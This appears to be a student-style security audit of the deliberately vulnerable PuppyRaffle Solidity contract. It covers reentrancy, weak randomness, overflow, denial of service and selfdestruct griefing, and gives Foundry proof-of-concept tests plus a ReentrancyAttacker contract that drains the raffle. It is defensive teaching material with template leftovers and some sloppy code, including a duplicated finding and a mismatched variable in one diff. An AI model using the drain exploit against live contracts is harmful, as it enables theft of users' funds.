Puppy Raffle Initial Audit Report

Version 1.0

0xadesokan.io

August 27, 2024

Protocol Audit Report

0xadesokan

August 27, 2024

Prepared by: 0xadesokan Lead Auditors: - xxxxxxx

Table of Contents

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase. Ades is such a wizard at catching those that write intentionally bad code

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `puppyRaffle::refund` allows entrant to drain raffle balance

IMPACT: HIGH LIKELIHOOD: HIGH

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interaction) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `puppyRaffle::players` array.

```
1       function refund(uint256 playerIndex) public {
2           // written-skipped MEV
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7
8   @>          payable(msg.sender).sendValue(entranceFee);
9   @>          players[playerIndex] = address(0);
10
11          emit RaffleRefunded(playerAddress);
12      }
```

A player who has entered the raffle could have a `fallback`/ `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Codes

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1       function test_reentrancyRefund() public{
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackUser");
11          vm.deal(attackUser, 1 ether);
12
13          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          // attack
17          vm.prank(attackUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("starting attacker contract balance: ",
                startingAttackContractBalance );
21          console.log("starting contract balance: ",
                startingContractBalance );
22          console.log("ending attacker contract balance: ", address(
                attackerContract).balance );
23          console.log("ending contract balance: ", address(puppyRaffle).
                balance );
24      }
```

And this contract as well.

```
1           contract ReentrancyAttacker {
```

```
2           PuppyRaffle puppyRaffle;
3           uint256 entranceFee;
4           uint256 attackerIndex;
5
6           constructor(PuppyRaffle _puppyRaffle)  {
7               puppyRaffle = _puppyRaffle;
8               entranceFee = puppyRaffle.entranceFee();
9           }
10
11          function attack() external payable {
12              address[] memory players = new address[](1);
13              players[0] = address(this);
14              puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16              uint256 attackIndex = puppyRaffle.getActivePlayerIndex(
                    address(this));
17              puppyRaffle.refund(attackIndex);
18          }
19
20          function _stealMoney() internal{
21              if (address(puppyRaffle).balance >= entranceFee){
22                  puppyRaffle.refund(attackerIndex);
23              }
24          }
25          fallback() external payable {
26              _stealMoney();
27          }
28
29          receive() external payable {
30              _stealMoney();
31          }
32  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` arrays before making external calls. Additionally, we should move the event emmision up as well

```
1       function refund(uint256 playerIndex) public {
2           // written-skipped MEV
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7   +        players[playerIndex] = address(0);
8   +        emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10
11  -       players[playerIndex] = address(0);
```

```
12 -         emit RaffleRefunded(playerAddress);
13      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `mmsg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulat these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means user could front-run this function and call `refund` if they see they are not the winner

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to wo wins the raffke

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/ how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `puppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` intergers are subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are acccumulated for the `feedAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overfows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
    totalFees = totalFees + uint64(fee);
// aka
totalFees =
// and this will overflow
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the value to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
     function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
```

```
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

The are more attack vectors with that final require, so we recommend removing it regardless

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::enterRaffle` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 @>  for (uint256 i = 0; i < players.length - 1; i++) {
2             for (uint256 j = i + 1; j < players.length; j++) {
3                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
```

```
4                 }
5             }
```

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such: - 1st 100 players: ~ 6,271,947 gas - 2nd 100 players: ~ 18,068,137 gas

This more than 3x more expensive for the second 100 players.

Proof of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1     function test_denialOfService() public{
2         vm.txGasPrice(1);
3 
4         // now for the 1st 100 players
5         uint256 playerNum = 100;
6         address[] memory players = new address[](playerNum);
7         for(uint256 i = 0; i < playerNum; i++){
8             players[i]  = address(i + 1);
9         }
10 
11         // see how much gas it costs
12         uint256 gasBefore = gasleft();
13         puppyRaffle.enterRaffle{value: entranceFee * playerNum}(players
              );
14         uint256 gasEnd = gasleft();
15 
16         uint256 gasUsedFirst = (gasBefore - gasEnd) * tx.gasprice;
17         console.log("Gas cost of the first 100 players: ", gasUsedFirst
              );
18 
19         // now for the 2nd 100 players
20         address[] memory playersTwo = new address[](playerNum);
21         for(uint256 i = 0; i < playerNum; i++){
22             playersTwo[i]  = address(i + playerNum + 1);
23         }
24 
25         // see how much gas it costs
26         uint256 gasBeforeSecond = gasleft();
27         puppyRaffle.enterRaffle{value: entranceFee * playerNum}(
              playersTwo);
```

```
28          uint256 gasEndSecond = gasleft();
29
30          uint256 gasUsedSecond = (gasBeforeSecond - gasEndSecond) * tx.
                gasprice;
31
32          console.log("Gas cost of the first 100 players: ", gasUsedFirst
                );
33          console.log("Gas cost of the second 100 players: ",
                gasUsedSecond);
34          console.log(gasUsedFirst - gasUsedSecond);
35
36          assert(gasUsedFirst < gasUsedSecond);
37
38      }
```

Recommended Mitigation: There are few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplacates. This would allow constant time lookup of whether a user has already entered.

Description: The `PuppyRaffle::enterRaffle` funcion loop through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

Note to students: This next line would likely be it's own finding itself. However, we haven't thought you about MEV yet, so we are going to ignore it.

Impact: The impact is two-fold.

1. The gas costs for raffle entrants will grately increase as more players enter the raffle
2. Front-running oppurtunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6252039 - 2nd 100 players: 18067741

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
1           // Check for duplicates
2   @>      for (uint256 i = 0; i < players.length - 1; i++) {
```

```
3               for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
5               }
6           }
```

Proof Of Code Place the following test into `PuppyRaffleTest.t.sol`.

```
1  function testReadDuplicateGasCosts() public {
2          vm.txGasPrice(1);
3
4          // We will enter 5 players into the raffle
5          uint256 playersNum = 100;
6          address[] memory players = new address[](playersNum);
7          for (uint256 i = 0; i < playersNum; i++) {
8              players[i] = address(i);
9          }
10         // And see how much gas it cost to enter
11         uint256 gasStart = gasleft();
12         puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
13         uint256 gasEnd = gasleft();
14         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
15         console.log("Gas cost of the 1st 100 players:", gasUsedFirst);
16
17         // We will enter 5 more players into the raffle
18         for (uint256 i = 0; i < playersNum; i++) {
19             players[i] = address(i + playersNum);
20         }
21         // And see how much more expensive it is
22         gasStart = gasleft();
23         puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
24         gasEnd = gasleft();
25         uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
26         console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);
27
28         assert(gasUsedFirst < gasUsedSecond);
29         // Logs:
30         //     Gas cost of the 1st 100 players: 6252039
31         //     Gas cost of the 2nd 100 players: 18067741
32 }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in

constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
             PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-           }
-       }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
             PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking

this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new raffle

Description: The `PuppyRaffle::selectWinner` function is responsible for resettin the lottery. However, if the winner is a smart contract wallet that reject payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prizes. (Recommeded)

> Pull over push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, but according to the naspec, it will also retirn 0 if the player is not in the array.

```
1      function getActivePlayerIndex(address player) external view returns
           (uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
7          return 0;
8
9      }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they haven't entered correctly due to function documentation.

Recommended Mitigation: The easiest recommentation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` when the player is not active.

Denial of service attack

Informational/Non-Crits

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of solidity is not recommended

Please use a newer version like `0.8.18`

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [`slither`] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 66

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 220

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interaction).

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of "magic" numbers is discourage

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1         uint256 prizePool = (totalAmountCollected * 80) / 100;
2         uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1     // uint256 public constant PRICE_POOL_PERCENTAGE = 80;
2     // uint256 public constant FEE_PERCENTAGE = 20;
3     // uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1] Unchanged state variable should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: `PuppyRaffle::raffleDuration` should be `immutable` `PuppyRaffle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri` should be `constant` `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```